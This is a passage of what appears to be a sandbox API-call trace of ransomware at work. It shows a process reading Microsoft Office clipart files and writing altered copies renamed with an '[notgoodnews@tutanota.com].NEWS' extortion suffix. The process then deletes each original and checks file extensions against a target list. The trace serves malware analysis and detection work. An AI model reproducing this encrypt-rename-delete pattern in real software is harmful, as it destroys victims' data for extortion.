[0080.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.219] lstrlenW (lpString=".jpg") returned 4 [0080.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.219] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.219] lstrlenW (lpString="BL00261_.WMF") returned 12 [0080.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.220] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=12482) returned 1 [0080.220] CloseHandle (hObject=0x390) returned 1 [0080.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0080.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.220] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.220] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0080.220] GetLastError () returned 0x0 [0080.220] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0080.659] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0080.660] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.660] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.660] SetEndOfFile (hFile=0x330) returned 1 [0080.661] CloseHandle (hObject=0x330) returned 1 [0080.662] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.662] SetEndOfFile (hFile=0x390) returned 1 [0080.663] CloseHandle (hObject=0x390) returned 1 [0080.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0080.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.664] lstrlenW (lpString=".doc") returned 4 [0080.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.664] lstrlenW (lpString=".docx") returned 5 [0080.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.664] lstrlenW (lpString=".pdf") returned 4 [0080.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.664] lstrlenW (lpString=".xls") returned 4 [0080.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.664] lstrlenW (lpString=".xlsx") returned 5 [0080.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.664] lstrlenW (lpString=".ppt") returned 4 [0080.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.664] lstrlenW (lpString=".zip") returned 4 [0080.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.664] lstrlenW (lpString=".rar") returned 4 [0080.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.664] lstrlenW (lpString=".bz2") returned 4 [0080.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.664] lstrlenW (lpString=".7z") returned 3 [0080.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.664] lstrlenW (lpString=".dbf") returned 4 [0080.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.664] lstrlenW (lpString=".1cd") returned 4 [0080.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.664] lstrlenW (lpString=".jpg") returned 4 [0080.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.665] lstrlenW (lpString=".doc") returned 4 [0080.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.665] lstrlenW (lpString=".docx") returned 5 [0080.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.665] lstrlenW (lpString=".pdf") returned 4 [0080.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.665] lstrlenW (lpString=".xls") returned 4 [0080.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.665] lstrlenW (lpString=".xlsx") returned 5 [0080.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.665] lstrlenW (lpString=".ppt") returned 4 [0080.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.665] lstrlenW (lpString=".zip") returned 4 [0080.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.665] lstrlenW (lpString=".rar") returned 4 [0080.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.665] lstrlenW (lpString=".bz2") returned 4 [0080.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.665] lstrlenW (lpString=".7z") returned 3 [0080.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.665] lstrlenW (lpString=".dbf") returned 4 [0080.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.665] lstrlenW (lpString=".1cd") returned 4 [0080.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0080.665] lstrlenW (lpString=".jpg") returned 4 [0080.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.666] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.666] lstrlenW (lpString="BL00525_.WMF") returned 12 [0080.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.666] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9590) returned 1 [0080.666] CloseHandle (hObject=0x390) returned 1 [0080.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0080.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.666] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.666] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0080.667] GetLastError () returned 0x0 [0080.667] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2576, lpOverlapped=0x0) returned 1 [0080.668] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2580, lpOverlapped=0x0) returned 1 [0080.669] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.669] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.670] SetEndOfFile (hFile=0x330) returned 1 [0080.670] CloseHandle (hObject=0x330) returned 1 [0080.671] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.671] SetEndOfFile (hFile=0x390) returned 1 [0080.672] CloseHandle (hObject=0x390) returned 1 [0080.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0080.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.672] lstrlenW (lpString=".doc") returned 4 [0080.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.672] lstrlenW (lpString=".docx") returned 5 [0080.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.672] lstrlenW (lpString=".pdf") returned 4 [0080.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.672] lstrlenW (lpString=".xls") returned 4 [0080.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.673] lstrlenW (lpString=".xlsx") returned 5 [0080.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.673] lstrlenW (lpString=".ppt") returned 4 [0080.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.673] lstrlenW (lpString=".zip") returned 4 [0080.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.673] lstrlenW (lpString=".rar") returned 4 [0080.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.673] lstrlenW (lpString=".bz2") returned 4 [0080.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.673] lstrlenW (lpString=".7z") returned 3 [0080.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.673] lstrlenW (lpString=".dbf") returned 4 [0080.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.673] lstrlenW (lpString=".1cd") returned 4 [0080.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.673] lstrlenW (lpString=".jpg") returned 4 [0080.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.673] lstrlenW (lpString=".doc") returned 4 [0080.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.673] lstrlenW (lpString=".docx") returned 5 [0080.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.673] lstrlenW (lpString=".pdf") returned 4 [0080.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.673] lstrlenW (lpString=".xls") returned 4 [0080.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.673] lstrlenW (lpString=".xlsx") returned 5 [0080.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.673] lstrlenW (lpString=".ppt") returned 4 [0080.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.674] lstrlenW (lpString=".zip") returned 4 [0080.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.674] lstrlenW (lpString=".rar") returned 4 [0080.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.674] lstrlenW (lpString=".bz2") returned 4 [0080.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.674] lstrlenW (lpString=".7z") returned 3 [0080.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.674] lstrlenW (lpString=".dbf") returned 4 [0080.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.674] lstrlenW (lpString=".1cd") returned 4 [0080.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0080.674] lstrlenW (lpString=".jpg") returned 4 [0080.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.674] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.674] lstrlenW (lpString="BL00526_.WMF") returned 12 [0080.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.675] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=27552) returned 1 [0080.675] CloseHandle (hObject=0x390) returned 1 [0080.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0080.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.675] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.675] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0080.676] GetLastError () returned 0x0 [0080.676] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x6ba0, lpOverlapped=0x0) returned 1 [0080.677] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x6bb0, lpOverlapped=0x0) returned 1 [0080.679] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.679] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.679] SetEndOfFile (hFile=0x330) returned 1 [0080.679] CloseHandle (hObject=0x330) returned 1 [0080.681] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.681] SetEndOfFile (hFile=0x390) returned 1 [0080.682] CloseHandle (hObject=0x390) returned 1 [0080.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0080.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.682] lstrlenW (lpString=".doc") returned 4 [0080.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.682] lstrlenW (lpString=".docx") returned 5 [0080.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.682] lstrlenW (lpString=".pdf") returned 4 [0080.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.682] lstrlenW (lpString=".xls") returned 4 [0080.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.682] lstrlenW (lpString=".xlsx") returned 5 [0080.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.683] lstrlenW (lpString=".ppt") returned 4 [0080.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.683] lstrlenW (lpString=".zip") returned 4 [0080.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.683] lstrlenW (lpString=".rar") returned 4 [0080.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.683] lstrlenW (lpString=".bz2") returned 4 [0080.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.683] lstrlenW (lpString=".7z") returned 3 [0080.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.683] lstrlenW (lpString=".dbf") returned 4 [0080.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.683] lstrlenW (lpString=".1cd") returned 4 [0080.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.683] lstrlenW (lpString=".jpg") returned 4 [0080.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.683] lstrlenW (lpString=".doc") returned 4 [0080.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.683] lstrlenW (lpString=".docx") returned 5 [0080.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.683] lstrlenW (lpString=".pdf") returned 4 [0080.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.683] lstrlenW (lpString=".xls") returned 4 [0080.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.683] lstrlenW (lpString=".xlsx") returned 5 [0080.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.683] lstrlenW (lpString=".ppt") returned 4 [0080.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.684] lstrlenW (lpString=".zip") returned 4 [0080.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.684] lstrlenW (lpString=".rar") returned 4 [0080.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.684] lstrlenW (lpString=".bz2") returned 4 [0080.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.684] lstrlenW (lpString=".7z") returned 3 [0080.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.684] lstrlenW (lpString=".dbf") returned 4 [0080.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.684] lstrlenW (lpString=".1cd") returned 4 [0080.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68 [0080.684] lstrlenW (lpString=".jpg") returned 4 [0080.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.684] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.684] lstrlenW (lpString="BL00648_.WMF") returned 12 [0080.684] CreateFileW 